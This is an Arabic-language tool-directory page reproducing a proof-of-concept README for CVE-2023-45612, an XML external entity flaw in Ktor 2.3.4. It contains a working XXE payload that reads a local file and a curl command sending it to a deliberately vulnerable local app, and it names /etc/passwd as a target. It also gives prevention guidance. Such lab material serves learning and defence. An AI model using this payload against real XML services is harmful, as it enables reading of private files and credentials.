Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/stefan-500/ktor-cve-2023-45612-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبسوء التكوينالتعلم والتعليم
GitHubstefan-500/ktor-cve-2023-45612-poc

ktor-cve-2023-45612-poc

إثبات المفهوم لحقن XXE في Ktor (CVE-2023-45612)

عرض المستودع
13منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات مفهوم ثغرة XXE في Ktor (CVE-2023-45612)

ملخص

التأثير: الوصول إلى ملفات عشوائية عبر DTD XML مُصمم مع مرجع XXE.
السبب الجذري: محلل مستندات XML غير آمن.

يحتوي هذا المستودع على تطبيق Ktor 2.3.4 ضعيف مُهيأ للسماح بالكيانات الخارجية بحيث يكون تأثير XXE مرئيًا.

الوصف

تطبيق Ktor ضعيف (الإصدار 2.3.4) لإثبات مفهوم حقن كيان خارجي XML (CVE-2023-45612).

CVE-2023-45612 هو خطأ XXE (كيان خارجي XML) في ContentNegotiation الخاص بـ Ktor عند تمكين XML في الإصدارات الأقدم من 2.3.5.
تُصنف هذه الثغرة ضمن CWE-611: تقييد غير صحيح لمرجع الكيان الخارجي XML.
XXE جزء من فئة المخاطر OWASP Top 10 A05:2021 - التهيئة الأمنية الخاطئة، ولكنه أيضًا مشكلة تصميم غير آمنة، لأن السبب هو محلل XML غير مقيد.

تم الإبلاغ بواسطة Ulf Karlsson — انظر ملاحظات أمان Jetbrains.

المكونات والإصدارات المتأثرة

إصدارات Ktor الأقدم من

2.3.5

بيئة إعادة الإنتاج

هذا هو الإعداد الخاص بي لإعادة إنتاج المشكلة:

  • IntelliJ IDEA 2025.2.4
  • Ktor 2.3.4
  • JDK 21
  • نظام التشغيل: Windows 10

شرح XXE

تحتوي مستندات XML اختياريًا على تعريف نوع المستند (DTD)، الذي يتيح، ضمن ميزات أخرى، تعريف كيانات XML. من الممكن تعريف كيان عن طريق توفير سلسلة استبدال على شكل URI. يمكن لمحلل XML الوصول إلى محتويات هذا URI ودمج هذه المحتويات مرة أخرى في مستند XML لمزيد من المعالجة. عن طريق إرسال ملف XML يُعرّف كيانًا خارجيًا بـ URI من نوع file://، يمكن للمهاجم أن يتسبب في قيام التطبيق المعالج بقراءة محتويات ملف محلي.
على سبيل المثال، URI مثل "file:///c:/winnt/win.ini" يحدد (في ويندوز) الملف C:\Winnt\win.ini، أو file:///etc/passwd يحدد ملف كلمات المرور في الأنظمة المستندة إلى Unix.
(https://cwe.mitre.org/data/definitions/611.html)

كيف تعمل

يتم إرسال طلب POST إلى نقطة النهاية http://localhost:8080/xml.
يرسل الطلب ملف xml، exploit/payloads/xxe-demo-file.xml، يحتوي على عنصر <!DOCTYPE> يُشار فيه إلى كيان خارجي، في هذه الحالة exploit/etc/secret.txt.

يمكن أن يكون هذا أي ملف آخر على النظام يمكن للعملية الوصول إليه.

xxe-demo-file.xml

root@kitploit:~
<!DOCTYPE Mail [ <!ENTITY xxe SYSTEM "exploit/etc/secret.txt"> ]>
<Mail><title>&xxe;</title></Mail>

يقوم محلل XML (المُهيأ للسماح بـ DTD) بحل هذا العنصر واسترداد بيانات المورد.

يمكن أن يكون المرجع الخارجي أيضًا مسارًا إلى نقطة نهاية SSRF، أو يمكن أن يشير إلى ملف كبير لشغل موارد النظام (DOS).

خطوات إعادة الإنتاج

  1. تشغيل الخادم:
root@kitploit:~
./gradlew run
  1. يجب أن يكون الخرج:
root@kitploit:~
Responding at http://127.0.0.1:8080
  1. إرسال حمولة XXE باستخدام curl:
root@kitploit:~
 curl -i http://localhost:8080/xml -H "Content-Type: application/xml" --data-binary @exploit/payloads/xxe-demo-file.xml

النتيجة المتوقعة (ضعيف):

مخرجات وحدة التحكم: Received: <external entity data>

النتيجة المتوقعة (آمن):

400 Bad Request، أو ما شابه ذلك (يقوم محلل XML بحظر تعريف نوع المستند)

الأدلة

تشغيل الأمر:

Run app command

إرسال حمولة XXE باستخدام cURL، والنتيجة تظهر محتويات الملف المُحقن:

Run app command

الشدة

الشدة عالية/حرجة. استرجاع ملف محلي محتمل، هجوم SSRF، هجوم DoS، أو تأثيرات أخرى على النظام.
النتيجة الأساسية NVD: 9.8 حرجة (CVSS v3) (https://nvd.nist.gov/vuln/detail/CVE-2023-45612)

مسودة إرشادات الوقاية للمطورين

  • تكوين محلل XML بحيث لا يحل الكيانات الخارجية. إذا كانت الكيانات الخارجية ضرورية، قم بتنفيذ XmlResolver مخصص مع مهلة طلب، وحد لاسترجاع البيانات، وتقييد الموارد التي يمكنه استرجاعها محليًا.
  • استخدم موارد مثل ورقة غش الوقاية من XXE من OWASP، التي تغطي تنفيذ الوقاية من XXE، خاصة لمختلف التقنيات.
  • دمج SAST في CI، حيث يمكنه العثور على بعض حالات هذا الضعف عن طريق تحليل الكود المصدري.
  • تتبع وتحليل إصدارات التبعيات والثغرات.
  • تنفيذ معايير برمجة آمنة على مستوى الشركة.
  • التركيز على دمج الأمن طوال دورة حياة تطوير البرمجيات (SDLC)، خاصة في مراحل التصميم واختبار المطور.

المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2023-45612
  • https://cwe.mitre.org/data/definitions/611.html
  • https://capec.mitre.org/data/definitions/221.html
  • https://medium.com/@iason.tzortzis/xxe-xml-external-entity-injection-explained-e8be5f1f7cd7
  • https://ktor.io/docs/server-create-a-new-project.html#create-project-with-the-ktor-project-generator
  • https://www.jetbrains.com/privacy-security/issues-fixed/?product=Ktor
  • https://ktor.io/docs/2.3.13/welcome.html
  • https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files
  • https://ssojet.com/parse-and-generate-formats/parse-and-generate-xml-in-ktor/
  • https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
  • https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
تنزيل الأداة